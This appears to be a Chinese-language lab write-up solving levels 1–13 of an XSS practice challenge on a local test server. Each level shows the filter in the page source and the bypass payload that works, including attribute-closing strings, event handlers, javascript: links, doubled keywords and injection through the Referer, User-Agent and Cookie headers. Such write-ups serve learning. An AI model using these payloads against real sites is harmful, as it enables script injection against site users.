终极测试代码 <script script "’ OOnn>
one
直接进行
得到弹窗
next
two
进行标签构造弹窗
失败
查看网页源码
<h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和<script>alert(/xss/)</script>相关的结果.</h2>
<input name=keyword value="<script>alert(1)</script>">
发现尖括号被转变为HTML实体,双引号为转义
查看页面属性查看器
可以先将搜索闭合,再执行弹窗
"><script>alert('xss')</script>
弹窗成功
next
htmlspecialchars($str)用法
htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。
预定义的字符是:
& (和号)成为 &
" (双引号)成为 "
' (单引号)成为 '
< (小于)成为 <
> (大于)成为 >
| 例如:
<?php $str = "This is some bold text."; echo htmlspecialchars($str); ?> || — |
THREE
输入
无弹窗,
查看源代码,发现
<input name=keyword value='<script>alert(xss)</script>'>
尖括号都被转义,但单引号未被转义
接着输入'<script>alert(1)</script>
进行闭合,发现
尖括号依然被转义,于是要考虑不使用尖括号的办法
<input name=keyword value=''onclick=alert(1)//'>
采用产生行为的方法以及注释
FOUR
依然输入
未弹窗,查看网页源代码
<input name=keyword value="scriptalert(1)/script">
搜索框处将尖括号过滤掉了并且双引号闭合
于是需要使用 非创建标签的办法
"onclick=alert(1) //
对前面进行闭合,后面注释,然后点击,弹窗成功
FIVE
老办法,先输入进行测试
不弹窗。查看网页源代码
<input name=keyword value="<scr_ipt>alert(1)</script>">
发现搜索框中对 script 标签加入了下划线,
尝试大小写转换或双写绕过
尝试大小写,大写被转换未小写,弹窗无果
<input name=keyword value="<scr_ipt>alert(1)<scr_ipt>">
尝试双写绕过,依然暴毙,避开 script
使用onclick 也被加下划线,
由于不对尖括号进行过滤,换伪协议尝试,先对之前的标签进行闭合,构造标签的方法都需将原标签闭合
"><a href=javascript:alert(1)>//
点击,弹窗成功。可以得出,这关是对关键词script和与on有关的进行加下划线。
SIX
上来老办法测试
查看网页源代码
<input name=keyword value="<scr_ipt>alert(/xss/)</script>">
有关键词过滤,无尖括号过滤,
尝试第五关的方法
<input name=keyword value=""><a hr_ef=javascript:alert(1)>//">
这关对href关键词也加入了过滤,尝试大小写转换
keyword="><a hREf=javascript:alert(1)>//
对过滤加下划线的地方进行大小写转换
弹窗成功,有可能是对固定关键词进行过滤,尝试
keyword="><scRIpt>alert(/xss/)</scRIpt>//
依然成功,由此可得,这关仅对固定关键词进行过滤。
SEVEN
老办法测试
查看源代码<input name=keyword value="<>alert(/xss/)</>">
对script进行了过滤屏蔽,未对尖括号进行过滤,
无法使用与script有关的关键词
尝试大小写转换,javascript 依然被过滤剩余 java
可见大小写转换无用
keyword="><img src=# onclick=alert(1)>//
尝试这样,结果源代码中<input name=keyword value=""><img =">
将alert过滤了,双写绕过
keyword="><a hHREFref=javasSCRIPTcript:alert(1)>//
成功弹窗。
EIGHT
因为在hackbar中执行未成功,但是在输入框中输入成功。
老办法测试
<input name=keyword value="<script>alert(/xss/)</script>">
查看网页源代码,能看出将 尖括号 转义了,尝试 产生事件
keyword= "onclick=alert(1)
再次查看源代码
<input name=keyword value=" "onclick=alert(1)">
双引号被转义,使用 伪协议
搜索框中未进行过滤
<input name=keyword value=" javascript:alert(1)">
但是在下面的 a 标签中image.png
</center><center><BR><a href=" javascr_ipt:alert(1)">友情链接</a></center><center><img src=level8.jpg></center>
被处理的JavaScript关键词中被加入了下划线,采用 对标签属性进行转码,也可以使用Tab键和回车进行
javascript:alert(/xss/)
弹窗成功。
NINE
突然发现,有个更好的测试方法,<script " ’ OOnn>,这个是学习的时候了解到的
查看源代码
<input name=keyword value="<script "' oonn>">
尖括号、双引号被转义,大写会被转换为小写
由于尖括号被转义,无法使用构造标签的方法,双引号被转义,无法使用闭合的方法。
可以使用伪代码
javascript:alert(1)
但是查看源代码,<a href="您的链接不合法?有没有!">
链接不合法?
那先写一个合法的链接javascript:alert(http://www.baidu.com)
可以正常显示了,查看源码<a href="javascr_ipt:alert(http://www.baidu.com)">
采用编码、回车、tab键的方式绕过下划线,
javascript:alert('http://www.baidu.com')
查看源代码<a href="javascript:alert('http://www.baidu.com')">
弹窗成功。之后通过代码审计,这一关使用了 strpos函数
意思就是所输入的参数中必须含有 http://
TEN(这一关当时真的很头疼)
测试<script script "’ OOnn>
右键查看源代码,尖括号、双引号均被转义
<h2 align=center>没有找到和<script script "' OOnn>相关的结果.</h2>
尝试产生事件的方法
输入onmouseover=alert(1)
查看源代码<h2 align=center>没有找到和onmouseover=alert(1)相关的结果.</h2>
看呆了,除了尖括号或者双引号会被转移,剩下的都会作为文本直接输出
what happen ?
然后在看源代码时突然发现,下面有三段代码为输入
而且类型为hidden,怪不得,被隐藏了,这里才是关键点
去到查看器下找到者三行
在这里直接对前端进行修改
移动鼠标,完成。
但是感觉这种方法好像是个类似于document.write(alert(1))
这种通用方法
但是突破点就在这里
通过输入参数 t_sort= 发现可以对隐藏的标签中value进行传参
于是t_sort="onmouseover="alert(1)"type="text
查看器
网页源代码中为
于是移动鼠标,弹窗成功
个人觉得这种方式应该才是这道题正常解决方法
ELEVEN
上来先测试<script script "’ OOnn>
与上一关老样子,尖括号、双引号进行过滤转义,存在四行输入被隐藏
修改前端参数,移动鼠标,弹窗成功
但是这个方法。。。太过于通用了
换一种
通过与上一关通用方法进行传参&t_link="type="text&t_history="type="text&t_sort="type="text&t_ref="type="text
发现依然只有 t_sort 参数可以进行传参,但是类型修改为text后未显示文本框,
可联想到应该是通过新增的 t_ref 进行传参,但这个表单不接收参数
查看源代码
发现多出一个 t_ref ,且后面的值为上一关我们所输入的内容
思考!!! ref的缩写加上上一关的url,有很大可能是Referer
通过hackbar对Referer进行传参
数值载入成功,于是,通过Referer进行传参
网页源代码
查看器
移动鼠标,弹窗成功。
TWELVE
有了前两个经验,直接看源码
果然,增加了新的表单,value看着是浏览器指纹(user_agent)
以十一关的经验,通过修改USER_AGENT进行弹窗
查看器
弹窗成功
THIRTEEN
查看网页源代码
增加了t_cook,尝试传参,传入123
于是从头开始,先测试传参
&t_link="type="text&t_history="type="text&t_sort="type="text&t_ref="type="text
sort与cook可以接收,但sort过滤双引号
尝试抓包分析
GET /xssChallenges/xss/level13.php HTTP/1.1
Host: 192.168.46.164
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: user=call+me+maybe%3F
Upgrade-Insecure-Requests: 1
%3F为?,回包中
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
<input name="t_cook" value="call me maybe?" type="hidden">
在数据包中进行更改
GET /xssChallenges/xss/level13.php HTTP/1.1
Host: 192.168.46.164
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: user=123
Upgrade-Insecure-Requests: 1
得到回包
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
<input name="t_cook" value="123" type="hidden">
成功,进行弹窗操作,之前在hackbar中未注意到cookie前还有user
页面成功显示输入框,移动鼠标,弹窗成功。
到这里感觉应该是比较适合初学者可以一次性做到的阶段。
这里代表个人观点!